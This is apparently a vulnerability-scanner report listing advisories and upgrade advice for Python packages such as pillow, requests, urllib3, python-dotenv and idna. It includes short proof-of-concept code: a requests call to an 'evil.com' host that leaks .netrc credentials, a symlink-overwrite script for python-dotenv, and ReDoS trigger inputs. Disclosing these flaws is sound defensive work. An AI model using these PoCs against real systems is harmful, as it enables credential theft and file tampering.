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Overview

fiona is a Fiona reads and writes spatial data files

Affected versions of this package are vulnerable to Denial of Service (DoS) through the jpeg_mem_available function. An attacker can cause excessive memory consumption by manipulating the settings to exceed the intended memory usage limits.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade fiona to version 1.10b2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue

Overview

fonttools is a Tools to manipulate font files

Affected versions of this package are vulnerable to XML Injection via the main() function in the fontTools/varLib/__init__.py file. An attacker can write files to the filesystem by supplying a specially crafted .designspace file.

Remediation

Upgrade fonttools to version 4.61.0 or higher.

References

• GitHub Commit
• Vulnerable Code

Overview

geopandas is a Geographic pandas extensions

Affected versions of this package are vulnerable to SQL Injection in the to_postgis() function, which can be injected into via the geom_name parameter to rename_geometry(). An attacker can execute malicious SQL and retrieve the database server version information from the target database.

Remediation

Upgrade geopandas to version 1.1.2 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub Release
• Vulnerability Report

Overview

Affected versions of this package are vulnerable to Infinite loop in trailer handling in PIL/PdfParser.py. An attacker can cause the application to consume excessive CPU by supplying a malicious file that creates a cyclic reference in the trailer's Prev pointer.

Remediation

Upgrade pillow to version 12.2.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Infinite loop in the EPS file parsing process when handling the %%BeginBinary directive. An attacker can cause the application to enter an infinite loop by supplying a crafted EPS file with a negative byte count, resulting in resource exhaustion and denial of service.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

2. Not disabling HTTP redirects (e.g. with redirects=False)

3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

1. Using the Proxy-Authorization header with urllib3's ProxyManager.

2. Disabling HTTP redirects using redirects=False when sending requests.

3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.

Remediation

Upgrade pillow to version 10.3.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Seclists Full Disclosure
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

scikit-learn is a Python module for machine learning built on top of SciPy and is distributed under the 3-Clause BSD license.

Affected versions of this package are vulnerable to Storage of Sensitive Data in a Mechanism without Access Control due to the unexpected storage of all tokens present in the training data within the stop_words_ attribute. An attacker can access sensitive information, such as passwords or keys, by exploiting this behavior.

PoC

Limiting vocabulary is a very common setting hence provided by the library. The expected behaviour is that the object stores the frequent tokens, and discards the rest after the fitting process. In theory and practice, the vectorizer only needs the vocabulary and the rest of the possible tokens will be simply non needed, hence should be discarded.

While the object correctly forms the required vocabulary, it stores the rest of the tokens in the `stop_words_ attribute. Therefore stores the entire unique tokens that have been passed in the fitting operation. Below it's demonstrated this:

# ╰─$ pip freeze | grep pandas
# pandas==2.2.1
import pandas as pd
# ╰─$ pip freeze | grep scikit-learn
# scikit-learn==1.4.1.post1
from sklearn.feature_extraction.text import TfidfVectorizer

if __name__ == '__main__':
    # Fitting the vectorizer will save every token presented
    vectorizer = TfidfVectorizer(
        max_features=2,
        # min_df=2/6  # Same results occur with different ways of limiting the vocabulary
    ).fit(
        pd.Series([
            "hello", "world", "hello", "world", "secretkey", "password123"
        ])
    )
    # Expected storage for frequent tokens
    print(vectorizer.vocabulary_)  # {'hello': 0, 'server': 1}
    # Unexpected data leak
    print(vectorizer.stop_words_)  # {'password123', 'secretkey'}

It is demonstrated below that the storage in the stop_words_ attribute is unnecessary. Nullifying the attribute will give the same results:

# ╰─$ pip freeze | grep pandas
# pandas==2.2.1
import pandas as pd
# ╰─$ pip freeze | grep scikit-learn
# scikit-learn==1.4.1.post1
from sklearn.feature_extraction.text import TfidfVectorizer

if __name__ == '__main__':
    # Fitting the vectorizer will save every token presented
    vectorizer = TfidfVectorizer(
        max_features=2,
        # min_df=2/6  # Same results occur with different ways of limiting the vocabulary
    ).fit(
        pd.Series([
            "hello", "world", "hello", "world", "secretkey", "password123"
        ])
    )
    # Expected storage for frequent tokens
    print(vectorizer.vocabulary_)  # {'hello': 0, 'server': 1}
    # Unexpected data leak
    print(vectorizer.stop_words_)  # {'password123', 'secretkey'}

    # Wiping-out the stop_words_ attribute does not change the behaviour
    print(vectorizer.transform(["hello world"]).toarray())  # [[0.70710678 0.70710678]]
    vectorizer.stop_words_ = None
    assert vectorizer.stop_words_ is None
    print(vectorizer.transform(["hello world"]).toarray())  # [[0.70710678 0.70710678]]

Remediation

Upgrade scikit-learn to version 1.5.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Symlink Attack via the set_key and unset_key() functions. An attacker can overwrite arbitrary files by creating a crafted symbolic link that is followed during a cross-device rename fallback.

PoC

import os
import sys
import tempfile
from dotenv import set_key

# Pre-condition: /tmp must be on a different device than the target directory.
tmp_dev = os.stat("/tmp").st_dev
home_dev = os.stat(os.path.expanduser("~")).st_dev
assert tmp_dev != home_dev, "Skipped: /tmp and ~ are on the same device (no cross-device move)"

with tempfile.TemporaryDirectory(dir=os.path.expanduser("~")) as workdir:
    # File an attacker wants to overwrite
    target = os.path.join(workdir, "victim_config.txt")
    with open(target, "w") as f:
        f.write("DB_PASSWORD=supersecret\n")

    # Attacker pre-places a symlink at the path the application will use as .env
    env_symlink = os.path.join(workdir, ".env")
    os.symlink(target, env_symlink)

    before = open(target).read()

    # Application writes a new key -- triggers the cross-device fallback
    set_key(env_symlink, "INJECTED", "attacker_value")

    after = open(target).read()

    print("Before:", repr(before))
    print("After: ", repr(after))
    print("Symlink target overwritten:", target)

Remediation

Upgrade python-dotenv to version 1.2.2 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.

Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.

Workaround

This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade idna to version 3.15 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound. An attacker can cause unexpected behavior by supplying a font where each glyph advances by an excessively large amount.

Remediation

Upgrade pillow to version 12.2.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

• GitHub Commit
• Maintainer's Advisory

MPL-2.0 license